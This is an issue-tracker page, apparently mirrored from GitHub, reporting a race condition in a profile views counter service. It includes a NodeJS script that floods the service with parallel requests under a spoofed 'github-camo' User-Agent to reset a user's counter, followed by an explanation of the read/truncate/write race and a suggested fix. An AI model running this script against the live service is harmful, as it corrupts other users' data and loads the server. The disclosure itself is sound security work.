Race condition vulnerability causes counter reset #44

New Issue

saavagebueno · 2025-11-20T04:15:34-05:00

saavagebueno commented

2025-11-20 04:15:34 -05:00

Originally created by @Brikaa on GitHub (Sep 2, 2023).

A user's counter can be reset by spamming requests, this happens due to a race condition while truncating and writing to a file. The following NodeJS script can be used to reset a user's counter:

// Send requestsPerBulk requests in parallel (let's call that a bulk)
// Wait till they are done
// Repeat till a total of bulks * requestsPerBulk requests

// After each bulk, output the number of succeeded requests and the number of failed requests
(async () => {
  const url = process.argv[2];
  const bulks = parseInt(process.argv[3]);
  const requestsPerBulk = parseInt(process.argv[4]);
  const headers = new Headers();
  headers.append('User-Agent', 'github-camo');
  for (let i = 0; i < bulks; ++i) {
    const promises = [];
    console.time('bulk');
    for (let j = 0; j < requestsPerBulk; ++j) {
      promises.push(fetch(url, { headers }));
    }
    const results = await Promise.all(promises);
    const failed = results.filter((res) => res.status >= 400).length;
    console.log(`Bulk ${i}:- failed: ${failed}, succeeded: ${requestsPerBulk - failed}`);
    console.timeEnd('bulk');
    await new Promise((r) => setTimeout(r, 500));
  }
})();

Run it as

node script_name.js ghpvc_url 50 20

and observe the counter, it will reset at a certain point in time.

Here is an explanation of the race condition that happens according to my understanding:
Requests need to do the following:

Read file, increment number
Truncate file
Put incremented number

The following race can happen between two requests (A and B):

A: read file, increment number
A: truncate file
B: read file, increment number (oops read empty file, number is zero, incremented number is one!)
A: put incremented number
B: truncate file
B: put incremented number (oops put one!)

This can be fixed by using a lock on the views-count file or by migrating to using a database management system that automatically handles concurrency issues.

Originally created by @Brikaa on GitHub (Sep 2, 2023). A user's counter can be reset by spamming requests, this happens due to a race condition while truncating and writing to a file. The following NodeJS script can be used to reset a user's counter: ```js // Send requestsPerBulk requests in parallel (let's call that a bulk) // Wait till they are done // Repeat till a total of bulks * requestsPerBulk requests // After each bulk, output the number of succeeded requests and the number of failed requests (async () => { const url = process.argv[2]; const bulks = parseInt(process.argv[3]); const requestsPerBulk = parseInt(process.argv[4]); const headers = new Headers(); headers.append('User-Agent', 'github-camo'); for (let i = 0; i < bulks; ++i) { const promises = []; console.time('bulk'); for (let j = 0; j < requestsPerBulk; ++j) { promises.push(fetch(url, { headers })); } const results = await Promise.all(promises); const failed = results.filter((res) => res.status >= 400).length; console.log(`Bulk ${i}:- failed: ${failed}, succeeded: ${requestsPerBulk - failed}`); console.timeEnd('bulk'); await new Promise((r) => setTimeout(r, 500)); } })(); ``` Run it as ```bash node script_name.js ghpvc_url 50 20 ``` and observe the counter, it will reset at a certain point in time. Here is an explanation of the race condition that happens according to my understanding: Requests need to do the following: - Read file, increment number - Truncate file - Put incremented number The following race can happen between two requests (A and B): - A: read file, increment number - A: truncate file - B: read file, increment number (oops read empty file, number is zero, incremented number is one!) - A: put incremented number - B: truncate file - B: put incremented number (oops put one!) This can be fixed by using a lock on the `views-count` file or by migrating to using a database management system that automatically handles concurrency issues.

saavagebueno closed this issue

2025-11-20 04:15:35 -05:00

saavagebueno referenced this issue

2025-11-20 04:16:01 -05:00

[PR #44] Containerize application #95

Sign in to join this conversation.

1 Participants

Notifications

Due Date

No due date set.

Dependencies

No dependencies set.

Reference: starred/github-profile-views-counter#44